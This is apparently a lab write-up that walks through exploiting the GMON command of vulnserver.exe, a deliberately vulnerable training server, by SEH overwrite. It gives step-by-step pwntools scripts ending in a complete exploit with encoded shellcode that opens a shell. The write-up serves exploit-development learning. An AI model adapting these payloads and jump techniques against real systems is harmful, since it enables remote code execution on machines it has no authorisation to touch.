Exploiting vulnserver.exe — GMON command using SEH overwrite
In this write-up, I will discuss about attacking GMON command of vulnserver.exe with SEH overwrite.
To get started, let’s read the source code of vulnserver.
The code tells us that it passes RecvBuf
to Function3() if our input contains “/” and the input length is greater than 3950 bytes
.
Let’s inspect Function3
to have a better understanding what happens next.
The contents of RecvBuf
is copied to Buffer2S
without checking the length. This is where the vulnerability occurs. Since Buffer2S
can only handle 2000
bytes
and RecvBuf
must be at least 3951 bytes
of input, we can smash the stack by sending a payload greater than 2000 bytes
.
Since RecvBuf
must be greater than 3950 bytes
, let’s try sending a payload with a length of 4000 bytes
and observe what happens.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "GMON /"
payload += "A"*4000
r.sendline(payload)
r.close()
It seems that the EIP was not overwritten.
Let’s check the SEH chain viewer of Immunity debugger.
Instead of an EIP
overwrite, we have overwritten the SEH value and the pointer to the next SEH value.
To give a quick background about SEH
or Structured Exception Handling
, it handles all issues encountered by the program during runtime. Basically, when the program crashes unexpectedly, SEH
handles the program issue in a graceful manner.
You can read more about SEH exploits from corelan.
Going back to the exploitation, let’s fuzz the program to get the offset we need to control the SEH
value and the NSEH pointer
.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "GMON /"
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2F"
r.sendline(payload)
r.close()
Sending this payload gives us the unique pattern that has overwritten the SEH value
and the NSEH pointer
.
The offset we need to overwrite SEH value
is 3522
and 3518
for NSEH pointer
.
Our payload structure should now look like this.
payload = <3518 bytes buffer> + <NSEH overwrite> + <SEH overwrite>
According to this writeup by corelan, we need to overwrite the SEH value
with a POP POP RET
instruction and overwrite NSEH
with an instruction that will jump to our shellcode
.
To execute this plan, let’s check if there is an available POP POP RET
instruction that we can use with the help of mona. We can simply use !mona seh -n
to get a list of POP POP RET
instructions.
We can use 0x625010b4
as our POP POP RET
instruction.
Next, we need to overwrite NSEH
with instructions that will make us jump to our shellcode. Upon testing, we cannot place our shellcode after SEH
overwrite since we only have a limited stack space after NSEH
and SEH
.
Our only option is to use the buffer before NSEH
overwrite for our shellcode, and our only way to jump to our shellcode is to jump backwards
.
To give an update on our payload structure, it should now look like this.
payload = <buffer> + <shellcode> + <NSEH> + <SEH>
Our next issue is we only have 4 bytes for jumping backwards. Since our shellcode have a length of 300
to 400
on average, we need to atleast jump 400 bytes
backwards. But writing this instruction requires atleast 5 bytes.
We need to think of an alternate way to jump into our shellcode.
According to this page, we can do a SHORT RELATIVE JUMP
to jump backwards. This solution fits perfectly on our space issue since we only need two bytes for this instruction.
To compute for the instruction, we need to append the 2’s complement
of the negative jump what we want to “\xeb” (opcode for short jump). We can use this formula to compute the 2’s complement
.
2’s complement = (<jump distannce> ^ 0xff) + 1
Let’s use 70 bytes
as our jump distance.
Since “\xeb\xba
” are just 2 bytes, we need to append NOP instructions
to make a 4-byte instruction.
Let’s test this with our reconstructed payload. We will use “\xcc
” (int 3 instruction
) for debugging purposes.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = ""
payload = ""
payload += "GMON /"
payload += "A"*(3518 - 70) # Subtract 70
payload += "\xcc"*70 # This is where the short jump occurs, int 3 - for debugging
payload += "\xeb\xba\x90\x90" # jmp -70
payload += p32(0x625010b4)
payload += "D"*(4096 - len(payload)) # to make sure that the payload is greater than 3950
r.sendline(payload)
r.close()
Upon checking, we did not land exactly on the start of “\xcc
”. We landed 2 bytes ahead of it. A quick explanation can be seen on the SHORT JMP resource we used above.
We need to reduce 2 bytes
of buffer to exactly land on our desired location.
Alternative solution: Replace the buffer with NOP instructions.
Let’s adjust the payload.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = ""
payload = ""
payload += "GMON /"
payload += "A"*(3518 - 70 + 2) # Subtract 70, add 2 for adjustment
payload += "\xcc"*68 # This is where the short jump occurs, int 3 - for debugging
payload += "\xeb\xba\x90\x90" # jmp -70
payload += p32(0x625010b4)
payload += "D"*(4096 - len(payload)) # to make sure that the payload is greater than 3950
r.sendline(payload)
r.close()
Now, we got 68 bytes
of space. We can now do a long jump backwards. Let’s try to do a 500 bytes
backward jump. For review, our payload structure will now look like this.
<buffer> + <NOP sled> + <shellcode> + <jmp -500 & padding> + <NSEH (jmp -70)> + <SEH (POP POP RET)>
We can use nasm_shell
for generating our jmp -500
instruction.
Let’s update our payload script.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = ""
payload = ""
payload += "GMON /"
payload += "A"*(3518 - 70 + 2 - 500) # Subtract 70, add 2 for adjustment, -500 for shellcode space
payload += "\xcc"*500 # NOP + shellcode location, int3 for debugging purposes only
payload += "\xE9\x07\xFE\xFF\xFF" # This is where the short jump occurs, jmp -500
payload += "\x90" * (68 - 5) # padding
payload += "\xeb\xba\x90\x90" # jmp -70
payload += p32(0x625010b4)
payload += "D"*(4096 - len(payload)) # to make sure that the payload is greater than 3950
r.sendline(payload)
r.close()
Quick note: Always remember that we need to have a total of
3518 bytes
of payload before SEH overwrite.
Let’s try to send this payload.
Success! We landed exactly on our first “\xcc
”. Let’s replace this with NOP sled
and shellcode
.
Our final script now looks like this.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\xd9\xe5\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x52"
shellcode += b"\xbb\x5f\xb2\x29\xf1\x83\xc0\x04\x31\x58\x13"
shellcode += b"\x03\x07\xa1\xcb\x04\x4b\x2d\x89\xe7\xb3\xae"
shellcode += b"\xee\x6e\x56\x9f\x2e\x14\x13\xb0\x9e\x5e\x71"
shellcode += b"\x3d\x54\x32\x61\xb6\x18\x9b\x86\x7f\x96\xfd"
shellcode += b"\xa9\x80\x8b\x3e\xa8\x02\xd6\x12\x0a\x3a\x19"
shellcode += b"\x67\x4b\x7b\x44\x8a\x19\xd4\x02\x39\x8d\x51"
shellcode += b"\x5e\x82\x26\x29\x4e\x82\xdb\xfa\x71\xa3\x4a"
shellcode += b"\x70\x28\x63\x6d\x55\x40\x2a\x75\xba\x6d\xe4"
shellcode += b"\x0e\x08\x19\xf7\xc6\x40\xe2\x54\x27\x6d\x11"
shellcode += b"\xa4\x60\x4a\xca\xd3\x98\xa8\x77\xe4\x5f\xd2"
shellcode += b"\xa3\x61\x7b\x74\x27\xd1\xa7\x84\xe4\x84\x2c"
shellcode += b"\x8a\x41\xc2\x6a\x8f\x54\x07\x01\xab\xdd\xa6"
shellcode += b"\xc5\x3d\xa5\x8c\xc1\x66\x7d\xac\x50\xc3\xd0"
shellcode += b"\xd1\x82\xac\x8d\x77\xc9\x41\xd9\x05\x90\x0d"
shellcode += b"\x2e\x24\x2a\xce\x38\x3f\x59\xfc\xe7\xeb\xf5"
shellcode += b"\x4c\x6f\x32\x02\xb2\x5a\x82\x9c\x4d\x65\xf3"
shellcode += b"\xb5\x89\x31\xa3\xad\x38\x3a\x28\x2d\xc4\xef"
shellcode += b"\xff\x7d\x6a\x40\x40\x2d\xca\x30\x28\x27\xc5"
shellcode += b"\x6f\x48\x48\x0f\x18\xe3\xb3\xd8\xe7\x5c\x33"
shellcode += b"\xee\x80\x9e\x43\x1e\x0d\x16\xa5\x4a\xbd\x7e"
shellcode += b"\x7e\xe3\x24\xdb\xf4\x92\xa9\xf1\x71\x94\x22"
shellcode += b"\xf6\x86\x5b\xc3\x73\x94\x0c\x23\xce\xc6\x9b"
shellcode += b"\x3c\xe4\x6e\x47\xae\x63\x6e\x0e\xd3\x3b\x39"
shellcode += b"\x47\x25\x32\xaf\x75\x1c\xec\xcd\x87\xf8\xd7"
shellcode += b"\x55\x5c\x39\xd9\x54\x11\x05\xfd\x46\xef\x86"
shellcode += b"\xb9\x32\xbf\xd0\x17\xec\x79\x8b\xd9\x46\xd0"
shellcode += b"\x60\xb0\x0e\xa5\x4a\x03\x48\xaa\x86\xf5\xb4"
shellcode += b"\x1b\x7f\x40\xcb\x94\x17\x44\xb4\xc8\x87\xab"
shellcode += b"\x6f\x49\xb7\xe1\x2d\xf8\x50\xac\xa4\xb8\x3c"
shellcode += b"\x4f\x13\xfe\x38\xcc\x91\x7f\xbf\xcc\xd0\x7a"
shellcode += b"\xfb\x4a\x09\xf7\x94\x3e\x2d\xa4\x95\x6a"
payload = ""
payload += "GMON /"
payload += "A"*(3518 - 70 + 2 - 500) # Subtract 70, add 2 for adjustment, -500 for shellcode space
payload += "\x90"*(500 - len(shellcode)) # NOP sled
payload += shellcode
payload += "\xE9\x07\xFE\xFF\xFF" # This is where the short jump occurs, jmp -500
payload += "\x90" * (68 - 5) # padding
payload += "\xeb\xba\x90\x90" # jmp -70
payload += p32(0x625010b4)
payload += "D"*(4096 - len(payload)) # to make sure that the payload is greater than 3950
r.sendline(payload)
r.close()
Executing this payload gives us a shell.
— ar33zy